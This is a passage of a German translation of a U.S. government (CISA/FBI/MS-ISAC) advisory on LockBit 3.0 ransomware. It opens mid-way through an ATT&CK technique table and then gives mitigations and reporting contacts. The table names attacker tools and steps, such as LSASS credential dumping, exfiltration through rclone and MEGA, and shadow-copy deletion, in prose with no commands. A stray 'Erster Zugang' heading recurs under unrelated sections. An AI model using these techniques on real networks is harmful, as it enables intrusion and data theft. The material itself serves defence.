Indikator-Entfernung: Datei-Löschung	T1070.004 <https://attack.mitre.org/versions/v12/techniques/t1070/004/>	LockBit 3.0 wird sich selbst von der Festplatte löschen.
Ausführungsleitplanken: Environmental Keying	T1480.001 <https://attack.mitre.org/versions/v12/techniques/t1480/001/>	LockBit 3.0 entschlüsselt die Hauptkomponente nur, wenn das richtige Kennwort eingegeben wird, oder fährt mit der Entschlüsselung und/oder Dekomprimierung von Daten fort.
Zugang zu Anmeldeinformationen		
Technik Titel	ID	Verwenden Sie
OS Credential Dumping: LSASS-Speicher	T1003.001 <https://attack.mitre.org/versions/v12/techniques/t1003/001/>	LockBit 3.0 verwendet Microsoft Sysinternals ProDump, um den Inhalt von LSASS.exe auszulagern.
Entdeckung		

Erster Zugang		
Technik Titel	ID	Verwenden Sie
Entdeckung von Netzwerkdiensten	T1046 <https://attack.mitre.org/versions/v12/techniques/t1046/>	LockBit 3.0 verwendet SoftPerfect Network Scanner zum Scannen von Zielnetzwerken.
Suche nach Systeminformationen	T1082 <https://attack.mitre.org/versions/v12/techniques/t1082/>	LockBit 3.0 listet die Systeminformationen auf, einschließlich Hostname, Hostkonfiguration, Domäneninformationen, lokale Laufwerkskonfiguration, Remote-Freigaben und angeschlossene externe Speichergeräte.
System Location Discovery: System Language Discovery	T1614.001 <https://attack.mitre.org/versions/v12/techniques/t1614/001/>	LockBit 3.0 infiziert keine Rechner mit Spracheinstellungen, die einer definierten Ausschlussliste entsprechen.
Seitliche Bewegung		
Technik Titel	ID	Verwenden Sie

Erster Zugang		
Remote-Dienste: Remote-Desktop-Protokoll	T1021.001 <https://attack.mitre.org/versions/v12/techniques/t1021/001/>	LockBit 3.0 verwendet die Splashtop-Remote-Desktop-Software, um die seitliche Bewegung zu erleichtern.
Befehl und Kontrolle		
Technik Titel	ID	Verwenden Sie
Protokoll der Anwendungsschicht: Dateiübertragungsprotokolle	T1071.002 <https://attack.mitre.org/versions/v12/techniques/t1071/002/>	LockBit 3.0 verwendet FileZilla für C2.
Protokoll Tunnel	T1572 <https://attack.mitre.org/versions/v12/techniques/t1572/>	LockBit 3.0 verwendet Plink zur Automatisierung von SSH-Aktionen unter Windows.
Exfiltration		

Erster Zugang		
Technik Titel	ID	Verwenden Sie
Exfiltration	TA0010 <https://attack.mitre.org/versions/v12/tactics/ta0010/>	LockBit 3.0 verwendet Stealbit, ein benutzerdefiniertes Exfiltrationstool, das erstmals mit LockBit 2.0 verwendet wurde, um Daten aus einem Zielnetzwerk zu stehlen.
Exfiltration über Webservice	T1567 <https://attack.mitre.org/versions/v12/techniques/t1567/>	LockBit 3.0 nutzt öffentlich zugängliche File-Sharing-Dienste, um die Daten eines Ziels zu exfiltrieren.
Exfiltration über Webservice: Exfiltration in den Cloud-Speicher	T1567.002 <https://attack.mitre.org/versions/v12/techniques/t1567/002/>	Die LockBit 3.0-Akteure verwenden (1) rclone, einen Open-Source-Befehlszeilen-Cloud-Speicher-Manager für die Exfiltration und (2) MEGA, einen öffentlich zugänglichen File-Sharing-Dienst für die Datenexfiltration.
Auswirkungen		
Technik Titel	ID	Verwenden Sie

Erster Zugang		
Datenvernichtung	T1485 <https://attack.mitre.org/versions/v12/techniques/t1485/>	LockBit 3.0 löscht Protokolldateien und leert den Papierkorb.
Verschlüsselte Daten für Impact	T1486 <https://attack.mitre.org/versions/v12/techniques/t1486/>	LockBit 3.0 verschlüsselt Daten auf Zielsystemen, um die Verfügbarkeit von System- und Netzwerkressourcen zu unterbrechen.
Servicestopp	T1489 <https://attack.mitre.org/versions/v12/techniques/t1489/>	LockBit 3.0 beendet Prozesse und Dienste.

Erster Zugang		
Verhindern der Systemwiederherstellung	T1490 <https://attack.mitre.org/versions/v12/techniques/t1490/>	LockBit 3.0 löscht Schattenkopien von Datenträgern, die sich auf der Festplatte befinden.
Verunstaltung: Interne Verunstaltung	T1491.001 <https://attack.mitre.org/versions/v12/techniques/t1491/001/>	LockBit 3.0 ändert das Hintergrundbild und die Symbole des Hostsystems in das Hintergrundbild bzw. die Symbole von LockBit 3.0.

MITIGATIONS

Das FBI, die CISA und der MS-ISAC empfehlen Organisationen, die unten aufgeführten Abhilfemaßnahmen zu implementieren, um die Cybersicherheitslage Ihrer Organisation auf der Grundlage der LockBit 3.0-Aktivitäten zu verbessern. Diese Abhilfemaßnahmen entsprechen den von der CISA und dem National Institute of Standards and Technology (NIST) entwickelten branchenübergreifenden Cybersicherheits-Leistungszielen (CPGs). Die CPGs bieten ein Mindestmaß an Praktiken und Schutzmaßnahmen, deren Umsetzung CISA und NIST allen Organisationen empfehlen. CISA und NIST stützten sich bei der Entwicklung der CPGs auf bestehende Cybersicherheits-Rahmenwerke und -Anleitungen zum Schutz vor den gängigsten und wirkungsvollsten TTPs. Weitere Informationen zu den CPGs, einschließlich zusätzlicher empfohlener Basisschutzmaßnahmen, finden Sie auf der Website CISA's Cross-Sector Cybersecurity Performance Goals <https://www.cisa.gov/cpg>.

- **Implementieren Sie einen Wiederherstellungsplan**, um mehrere Kopien sensibler oder geschützter Daten und Server[CPG 7.3 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>] an einem physisch getrennten, segmentierten und sicheren Ort aufzubewahren (z. B. auf einer Festplatte, einem Speichergerät oder in der Cloud).

- **Verlangt, dass alle Konten** mit Kennwortanmeldungen (z. B. Dienstkonto, Administratorkonten und Domänenadministratorkonten) den Standards des National Institute for Standards and Technology (NIST) <https://pages.nist.gov/800-63-3/> für die Entwicklung und Verwaltung von Kennwortrichtlinien entsprechen[CPG 3.4 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>].
  - Verwenden Sie längere Passwörter, die mindestens 8 und höchstens 64 Zeichen lang sind[CPG 1.4 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>].
  - Speichern Sie Passwörter im Hash-Format mit branchenweit anerkannten Passwort-Managern.
  - Fügen Sie Passwort-Benutzer-"Salts" zu gemeinsamen Anmeldedaten hinzu
  - Vermeiden Sie die Wiederverwendung von Passwörtern
  - Kontosperren für mehrere fehlgeschlagene Anmeldeversuche einführen[CPG 1.1 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>]
  - Deaktivieren von Passwort-"Hints"
  - Kennwörter nicht häufiger als einmal pro Jahr ändern. **Hinweis:** Die NIST-Richtlinien empfehlen, längere Kennwörter zu bevorzugen, anstatt regelmäßige und häufige Kennwortrücksetzungen zu verlangen. Häufiges Zurücksetzen von Passwörtern führt eher dazu, dass Benutzer Passwort-"Muster" entwickeln, die Cyber-Kriminelle leicht entschlüsseln können.
  - Für die Installation von Software sollten Administrator-Anmeldedaten erforderlich sein.
- **Verlangt eine Phishing-resistente Multifaktor-Authentifizierung**[CPG 1.3 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>] für alle Dienste, soweit dies möglich ist, insbesondere für Webmail, virtuelle private Netzwerke und Konten, die Zugang zu kritischen Systemen haben.
- **Halten Sie alle Betriebssysteme, Software und Firmware auf dem neuesten Stand.** Rechtzeitiges Patchen ist eine der effizientesten und kostengünstigsten Maßnahmen, die ein Unternehmen ergreifen kann, um seine Anfälligkeit für Cyber-Bedrohungen zu minimieren.

- **Segmentieren Sie Netzwerke**[CPG 8.1 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>], um die Verbreitung von Ransomware zu verhindern. Die Netzwerksegmentierung kann dazu beitragen, die Ausbreitung von Ransomware zu verhindern, indem sie den Datenverkehr zwischen verschiedenen Teilnetzen und den Zugang zu diesen kontrolliert und die seitliche Bewegung von Angreifern einschränkt.
- **Identifizieren, erkennen und untersuchen Sie abnormale Aktivitäten und potenzielle Querbewegungen der angezeigten Ransomware mit einem Netzwerküberwachungs-Tool.** Um die Erkennung von Ransomware zu unterstützen, sollten Sie ein Tool implementieren, das den gesamten Netzwerkverkehr protokolliert und meldet, einschließlich der Aktivitäten von Querverbindungen in einem Netzwerk[CPG 5.1 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>]. Endpoint Detection and Response (EDR)-Tools sind besonders nützlich für die Erkennung von Querverbindungen, da sie Einblick in häufige und ungewöhnliche Netzwerkverbindungen für jeden Host haben.
- **Installieren Sie Antiviren-Software** auf allen Rechnern**, aktualisieren Sie sie regelmäßig und aktivieren Sie die Echtzeiterkennung**.
- **Überprüfen Sie Domänencontroller, Server, Workstations und aktive Verzeichnisse** auf neue und/oder nicht erkannte Konten.
- **Überprüfen Sie Benutzerkonten** mit administrativen Rechten und konfigurieren Sie Zugriffskontrollen nach dem Prinzip der geringsten Rechte[CPG 1.5 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>].
- **Deaktivieren Sie ungenutzte Ports.**
- **Erwägen Sie, E-Mails** [CPG 8.3 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>], die Sie von außerhalb Ihres Unternehmens erhalten, **mit einem E-Mail-Banner** zu versehen.
- **Deaktivieren Sie Hyperlinks** in empfangenen E-Mails.
- **Implementieren Sie einen zeitbasierten Zugriff für Konten, die auf der Administratorebene und höher eingerichtet sind.** Die Just-in-Time (JIT)-Zugriffsmethode beispielsweise gewährt privilegierten Zugriff bei Bedarf und kann die Durchsetzung des Prinzips der geringsten Privilegien (sowie des Zero-Trust-Modells) unterstützen. Hierbei handelt es sich um einen Prozess, bei dem eine netzwerkweite Richtlinie zur automatischen Deaktivierung von Administratorkonten auf Active Directory-Ebene eingerichtet wird, wenn das Konto nicht unmittelbar benötigt wird. Einzelne Benutzer können ihre Anträge über einen automatisierten Prozess einreichen, der ihnen für einen bestimmten Zeitraum Zugang zu einem bestimmten System gewährt, wenn sie für die Erledigung einer bestimmten Aufgabe benötigt werden.
- **Deaktivieren Sie Befehlszeilen- und Skriptaktivitäten und Berechtigungen.** Die Ausweitung von Privilegien und laterale Bewegungen hängen oft von Software-Dienstprogrammen ab, die über die Befehlszeile ausgeführt werden. Wenn Bedrohungsakteure nicht in der Lage sind, diese Tools auszuführen, haben sie Schwierigkeiten, ihre Privilegien zu erweitern und/oder sich seitlich zu bewegen.

- **Offline-Sicherungen von Daten** und regelmäßige Sicherungs- und Wiederherstellungsmaßnahmen[CPG 7.3 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>]. Durch die Einführung dieser Praxis stellt die Organisation sicher, dass es nicht zu schwerwiegenden Unterbrechungen kommt und/oder nur unwiederbringliche Daten vorhanden sind.
- **Sicherstellen, dass alle Sicherungsdaten verschlüsselt und unveränderlich sind** (d. h. nicht verändert oder gelöscht werden können) und die gesamte Dateninfrastruktur des Unternehmens abdecken[CPG 3.3 <https://www.cisa.gov/sites/default/files/publications/2022_00092_cisa_cpg_report_508c.pdf>].

SICHERHEITSKONTROLLEN ZU VALIDIEREN

Das FBI, die CISA und das MS-ISAC empfehlen, neben der Anwendung von Abhilfemaßnahmen das Sicherheitsprogramm Ihres Unternehmens im Hinblick auf die Bedrohungsverhaltensweisen zu üben, zu testen und zu validieren, die in dieser Empfehlung dem MITRE ATT&CK for Enterprise Framework zugeordnet sind. Das FBI, die CISA und die MS-ISAC-Autoren empfehlen, Ihr bestehendes Sicherheitskontrollinventar zu testen, um zu beurteilen, wie es sich gegenüber den in dieser Empfehlung beschriebenen ATT&CK-Techniken verhält.
Für den Anfang:

1. Wählen Sie eine der in dieser Empfehlung beschriebenen ATT&CK-Techniken (siehe Tabelle 3).
2. Richten Sie Ihre Sicherheitstechnologien auf diese Technik aus.
3. Testen Sie Ihre Technologien mit dieser Technik.
4. Analysieren Sie die Leistung Ihrer Erkennungs- und Präventionstechnologien.
5. Wiederholen Sie den Vorgang für alle Sicherheitstechnologien, um einen Satz umfassender Leistungsdaten zu erhalten.
6. Optimieren Sie Ihr Sicherheitsprogramm, einschließlich der Mitarbeiter, Prozesse und Technologien, auf der Grundlage der durch diesen Prozess gewonnenen Daten.

Das FBI, CISA und MS-ISAC empfehlen, Ihr Sicherheitsprogramm kontinuierlich in großem Maßstab und in einer Produktionsumgebung zu testen, um eine optimale Leistung gegenüber den in dieser Empfehlung genannten MITRE ATT&CK-Techniken sicherzustellen.

RESSOURCEN

- Stopransomware.gov <https://www.stopransomware.gov/> ist ein regierungsübergreifender Ansatz, der eine zentrale Anlaufstelle für Ransomware-Ressourcen und -Warnungen bietet.
- Ressource zur Entschärfung eines Ransomware-Angriffs: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide <https://www.cisa.gov/sites/default/files/publications/cisa_ms-isac_ransomware guide_s508c.pdf>.

- Kostenfreie Cyber-Hygiene-Dienste: Cyberhygiene-Dienste <https://www.cisa.gov/cyber-hygiene-services> und Ransomware-Bereitschaftsbewertung <https://github.com/cisagov/cset/releases/tag/v10.3.0.0>

REPORTING

Das FBI ist auf der Suche nach allen Informationen, die legal weitergegeben werden können:

- Grenzprotokolle, die die Kommunikation zu und von ausländischen IP-Adressen zeigen
- Muster einer Lösegeldforderung
- Kommunikation mit LockBit 3.0-Aktoren
- Informationen zur Bitcoin-Brieftasche
- Entschlüsselungsdateien
- Gutartiges Beispiel einer verschlüsselten Datei

Das FBI, CISA und MS-ISAC raten davon ab, Lösegeld zu zahlen, da die Zahlung nicht garantiert, dass die Dateien der Opfer wiederhergestellt werden. Darüber hinaus kann die Zahlung die Gegner ermutigen, weitere Organisationen ins Visier zu nehmen, andere kriminelle Akteure zur Verbreitung von Ransomware zu ermutigen und/oder illegale Aktivitäten zu finanzieren. Unabhängig davon, ob Sie oder Ihre Organisation sich für die Zahlung des Lösegelds entschieden haben, fordern das FBI und die CISA Sie dringend auf, Ransomware-Vorfälle umgehend an eine lokale FBI-Außenstelle <https://www.fbi.gov/contact-us/field-offices>

oder an die CISA unter

report@cisa.gov zu melden

Staatliche, lokale, regionale und territoriale (SLTT) Regierungsstellen

können auch dem MS-ISAC Bericht erstatten(SOC@cisecurity.org

oder 866-787-4722).

HAFTUNGSAUSSCHLUSS

Die Informationen in diesem Bericht werden nur zu Informationszwecken zur Verfügung gestellt. Das FBI, die CISA und das MS-ISAC befürworten keine kommerziellen Produkte oder Dienstleistungen, auch nicht die Themen der Analysen. Jede Bezugnahme auf bestimmte kommerzielle Produkte, Verfahren oder Dienstleistungen durch Dienstleistungsmarken, Warenzeichen, Hersteller oder auf andere Weise stellt keine Billigung, Empfehlung oder Bevorzugung durch das FBI, die CISA oder den MS-ISAC dar.

Beratungsmaterialien

#StopRansomware: Lockbit </sites/default/files/2023-03/aa23-075a-stop-ransomware-lockbit.pdf>
(PDF, 688.70 KB)

Verwandte Hinweise

MAR 15, 2023 ■ **CYBERSECURITY ADVISORY | AA23-074A**

Threat Actors Exploit Progress Telerik Vulnerability in U.S. Government IIS Server </news-events/cybersecurity-advisories/aa23-074a>

MAR 02, 2023 ■ **CYBERSECURITY ADVISORY | AA23-061A**

#StopRansomware: Royal Ransomware </news-events/cybersecurity-advisories/aa23-061a>

FEB 28, 2023 ■ **CYBERSECURITY ADVISORY | AA23-059A**

CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks </news-events/cybersecurity-advisories/aa23-059a>

FEB 09, 2023 ■ **CYBERSECURITY ADVISORY | AA23-040A**

#StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities </news-events/cybersecurity-advisories/aa23-040a>

Return to top

Topics </topics>

Spotlight </spotlight>

Resources & Tools </resources-tools>

News & Events </news-events>

Careers </careers>

About </about>

CYBERSECURITY & INFRASTRUCTURE SECURITY AGENCY

CISA Central

888-282-0870

Central@cisa.dhs.gov

CISA.gov
An official website of the U.S. Department of Homeland Security

About CISA </about>

Accessibility <https://www.dhs.gov/accessibility>

Budget and Performance <https://www.dhs.gov/performance-financial-reports>

DHS.gov <https://www.dhs.gov>

FOIA Requests <https://www.dhs.gov/foia>

No FEAR Act </cisa-no-fear-act-reporting>

Office of Inspector General <https://www.oig.dhs.gov/>

Privacy Policy </privacy-policy>

The White House <https://www.whitehouse.gov/>

USA.gov <https://www.usa.gov/>

Website Feedback </forms/feedback>